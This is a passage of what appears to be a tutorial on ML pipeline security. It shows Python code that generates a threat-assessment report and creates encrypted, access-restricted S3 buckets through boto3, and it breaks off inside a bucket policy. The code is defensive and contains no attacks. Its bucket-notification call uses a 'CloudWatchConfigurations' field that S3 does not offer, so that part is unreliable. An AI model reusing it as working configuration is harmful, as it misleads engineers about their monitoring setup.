            <span class="sh">'</span><span class="s">unauthorized_access</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">data_poisoning</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">model_theft</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">training_exposure</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">unauthorized_inference</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">container_vulnerability</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">privacy_violation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">resource_exhaustion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span>
        <span class="p">}</span>
        
        <span class="k">return</span> <span class="n">effort_estimates</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">threat_type</span><span class="p">,</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">generate_security_report</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">assessment_results</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate comprehensive security assessment report</span><span class="sh">"""</span>
        
        <span class="n">report</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"""</span><span class="s">
# ML Pipeline Security Assessment Report

**Pipeline ID**: </span><span class="si">{</span><span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">pipeline_id</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">
**Assessment Date**: </span><span class="si">{</span><span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">assessment_timestamp</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">
**Overall Risk Score**: </span><span class="si">{</span><span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">overall_risk_score</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">/10

## Executive Summary

This assessment identified </span><span class="si">{</span><span class="nf">sum</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">threats</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]))</span> <span class="k">for</span> <span class="n">threats</span> <span class="ow">in</span> <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">].</span><span class="nf">values</span><span class="p">())</span><span class="si">}</span><span class="s"> security threats across the ML pipeline.

## Threat Analysis by Category

</span><span class="sh">"""</span>
        
        <span class="k">for</span> <span class="n">category</span><span class="p">,</span> <span class="n">threats</span> <span class="ow">in</span> <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">].</span><span class="nf">items</span><span class="p">():</span>
            <span class="n">report</span> <span class="o">+=</span> <span class="sa">f</span><span class="sh">"""</span><span class="s">
### </span><span class="si">{</span><span class="n">category</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">_</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s"> </span><span class="sh">'</span><span class="p">).</span><span class="nf">title</span><span class="p">()</span><span class="si">}</span><span class="s">

**Risk Level**: </span><span class="si">{</span><span class="n">threats</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="s">
**Identified Threats**: </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">threats</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]))</span><span class="si">}</span><span class="s">

</span><span class="sh">"""</span>
            
            <span class="k">for</span> <span class="n">threat</span> <span class="ow">in</span> <span class="n">threats</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]):</span>
                <span class="n">report</span> <span class="o">+=</span> <span class="sa">f</span><span class="sh">"""</span><span class="s">
- **</span><span class="si">{</span><span class="n">threat</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">** (</span><span class="si">{</span><span class="n">threat</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">): </span><span class="si">{</span><span class="n">threat</span><span class="p">[</span><span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">
  - Impact: </span><span class="si">{</span><span class="n">threat</span><span class="p">[</span><span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">

</span><span class="sh">"""</span>
        
        <span class="n">report</span> <span class="o">+=</span> <span class="sh">"""</span><span class="s">
## Priority Recommendations

</span><span class="sh">"""</span>
        
        <span class="n">high_priority</span> <span class="o">=</span> <span class="p">[</span><span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">]</span> <span class="k">if</span> <span class="n">r</span><span class="p">[</span><span class="sh">'</span><span class="s">priority</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">]</span>
        <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">rec</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">high_priority</span><span class="p">[:</span><span class="mi">5</span><span class="p">],</span> <span class="mi">1</span><span class="p">):</span>
            <span class="n">report</span> <span class="o">+=</span> <span class="sa">f</span><span class="sh">"""</span><span class="s">
</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">. **</span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">**: </span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendation</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">
   - Effort: </span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="sh">'</span><span class="s">estimated_effort</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">
   - Addresses: </span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">

</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="n">report</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="secure-data-pipeline-implementation">Secure Data Pipeline Implementation</h2>

<h3 id="data-security-throughout-the-ml-lifecycle">Data Security Throughout the ML Lifecycle</h3>

<p>Securing data is fundamental to ML pipeline security, requiring protection from collection through model training and inference.</p>

<h4 id="comprehensive-data-protection-framework">Comprehensive Data Protection Framework</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">pandas</span> <span class="k">as</span> <span class="n">pd</span>
<span class="kn">import</span> <span class="n">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span><span class="p">,</span> <span class="n">Any</span>
<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">import</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">re</span>

<span class="k">class</span> <span class="nc">SecureDataPipeline</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">
    Secure data pipeline implementation for ML workloads
    Handles data encryption, validation, lineage tracking, and privacy protection
    </span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">region_name</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="sh">'</span><span class="s">us-east-1</span><span class="sh">'</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">kms</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">kms</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">glue</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">glue</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sagemaker</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sagemaker</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">logs</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">logs</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        
        <span class="c1"># Data classification levels
</span>        <span class="n">self</span><span class="p">.</span><span class="n">data_classifications</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">public</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">encryption_required</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span> <span class="sh">'</span><span class="s">access_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">open</span><span class="sh">'</span><span class="p">},</span>
            <span class="sh">'</span><span class="s">internal</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">encryption_required</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span> <span class="sh">'</span><span class="s">access_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">restricted</span><span class="sh">'</span><span class="p">},</span>
            <span class="sh">'</span><span class="s">confidential</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">encryption_required</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span> <span class="sh">'</span><span class="s">access_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">limited</span><span class="sh">'</span><span class="p">},</span>
            <span class="sh">'</span><span class="s">restricted</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">encryption_required</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span> <span class="sh">'</span><span class="s">access_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">minimal</span><span class="sh">'</span><span class="p">}</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">create_secure_data_bucket</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                                  <span class="n">bucket_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                                  <span class="n">kms_key_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                                  <span class="n">data_classification</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="sh">'</span><span class="s">confidential</span><span class="sh">'</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create secure S3 bucket for ML data with comprehensive protection</span><span class="sh">"""</span>
        
        <span class="n">classification_config</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">data_classifications</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">data_classification</span><span class="p">,</span> 
                                                              <span class="n">self</span><span class="p">.</span><span class="n">data_classifications</span><span class="p">[</span><span class="sh">'</span><span class="s">confidential</span><span class="sh">'</span><span class="p">])</span>
        
        <span class="c1"># Create bucket with security configurations
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create the bucket
</span>            <span class="k">if</span> <span class="n">boto3</span><span class="p">.</span><span class="nc">Session</span><span class="p">().</span><span class="n">region_name</span> <span class="o">!=</span> <span class="sh">'</span><span class="s">us-east-1</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">create_bucket</span><span class="p">(</span>
                    <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                    <span class="n">CreateBucketConfiguration</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">LocationConstraint</span><span class="sh">'</span><span class="p">:</span> <span class="n">boto3</span><span class="p">.</span><span class="nc">Session</span><span class="p">().</span><span class="n">region_name</span><span class="p">}</span>
                <span class="p">)</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">create_bucket</span><span class="p">(</span><span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">)</span>
            
            <span class="c1"># Enable versioning
</span>            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_bucket_versioning</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                <span class="n">VersioningConfiguration</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">Status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Enabled</span><span class="sh">'</span><span class="p">}</span>
            <span class="p">)</span>
            
            <span class="c1"># Configure encryption
</span>            <span class="k">if</span> <span class="n">classification_config</span><span class="p">[</span><span class="sh">'</span><span class="s">encryption_required</span><span class="sh">'</span><span class="p">]:</span>
                <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_bucket_encryption</span><span class="p">(</span>
                    <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                    <span class="n">ServerSideEncryptionConfiguration</span><span class="o">=</span><span class="p">{</span>
                        <span class="sh">'</span><span class="s">Rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                            <span class="p">{</span>
                                <span class="sh">'</span><span class="s">ApplyServerSideEncryptionByDefault</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                                    <span class="sh">'</span><span class="s">SSEAlgorithm</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">aws:kms</span><span class="sh">'</span><span class="p">,</span>
                                    <span class="sh">'</span><span class="s">KMSMasterKeyID</span><span class="sh">'</span><span class="p">:</span> <span class="n">kms_key_id</span>
                                <span class="p">},</span>
                                <span class="sh">'</span><span class="s">BucketKeyEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
                            <span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">}</span>
                <span class="p">)</span>
            
            <span class="c1"># Block public access
</span>            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_public_access_block</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                <span class="n">PublicAccessBlockConfiguration</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">BlockPublicAcls</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">IgnorePublicAcls</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">BlockPublicPolicy</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">RestrictPublicBuckets</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="c1"># Enable logging
</span>            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_bucket_logging</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                <span class="n">BucketLoggingStatus</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">LoggingEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">TargetBucket</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="s">-access-logs</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">TargetPrefix</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">access-logs/</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="c1"># Configure lifecycle policies
</span>            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_bucket_lifecycle_configuration</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                <span class="n">LifecycleConfiguration</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">Rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span>
                            <span class="sh">'</span><span class="s">ID</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ml-data-lifecycle</span><span class="sh">'</span><span class="p">,</span>
                            <span class="sh">'</span><span class="s">Status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Enabled</span><span class="sh">'</span><span class="p">,</span>
                            <span class="sh">'</span><span class="s">Filter</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">Prefix</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">training-data/</span><span class="sh">'</span><span class="p">},</span>
                            <span class="sh">'</span><span class="s">Transitions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                                <span class="p">{</span>
                                    <span class="sh">'</span><span class="s">Days</span><span class="sh">'</span><span class="p">:</span> <span class="mi">30</span><span class="p">,</span>
                                    <span class="sh">'</span><span class="s">StorageClass</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">STANDARD_IA</span><span class="sh">'</span>
                                <span class="p">},</span>
                                <span class="p">{</span>
                                    <span class="sh">'</span><span class="s">Days</span><span class="sh">'</span><span class="p">:</span> <span class="mi">90</span><span class="p">,</span>
                                    <span class="sh">'</span><span class="s">StorageClass</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">GLACIER</span><span class="sh">'</span>
                                <span class="p">}</span>
                            <span class="p">]</span>
                        <span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="c1"># Set bucket policy based on classification
</span>            <span class="n">bucket_policy</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_generate_bucket_policy</span><span class="p">(</span><span class="n">bucket_name</span><span class="p">,</span> <span class="n">data_classification</span><span class="p">)</span>
            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_bucket_policy</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                <span class="n">Policy</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">bucket_policy</span><span class="p">)</span>
            <span class="p">)</span>
            
            <span class="c1"># Enable notifications for security monitoring
</span>            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_bucket_notification_configuration</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                <span class="n">NotificationConfiguration</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">CloudWatchConfigurations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span>
                            <span class="sh">'</span><span class="s">Id</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">security-monitoring</span><span class="sh">'</span><span class="p">,</span>
                            <span class="sh">'</span><span class="s">CloudWatchConfiguration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                                <span class="sh">'</span><span class="s">LogGroupName</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">/aws/s3/</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                                <span class="sh">'</span><span class="s">Event</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">s3:ObjectCreated:*</span><span class="sh">'</span>
                            <span class="p">},</span>
                            <span class="sh">'</span><span class="s">Filter</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                                <span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                                    <span class="sh">'</span><span class="s">FilterRules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                                        <span class="p">{</span>
                                            <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">prefix</span><span class="sh">'</span><span class="p">,</span>
                                            <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">sensitive-data/</span><span class="sh">'</span>
                                        <span class="p">}</span>
                                    <span class="p">]</span>
                                <span class="p">}</span>
                            <span class="p">}</span>
                        <span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">bucket_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">bucket_name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">encryption_enabled</span><span class="sh">'</span><span class="p">:</span> <span class="n">classification_config</span><span class="p">[</span><span class="sh">'</span><span class="s">encryption_required</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">kms_key_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">kms_key_id</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">classification</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_classification</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">security_features</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sh">'</span><span class="s">versioning_enabled</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">public_access_blocked</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">access_logging_enabled</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">lifecycle_policies_configured</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">security_monitoring_enabled</span><span class="sh">'</span>
                <span class="p">]</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error creating secure bucket: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="k">def</span> <span class="nf">_generate_bucket_policy</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">bucket_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">classification</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate bucket policy based on data classification</span><span class="sh">"""</span>
        
        <span class="n">base_policy</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">DenyInsecureConnections</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
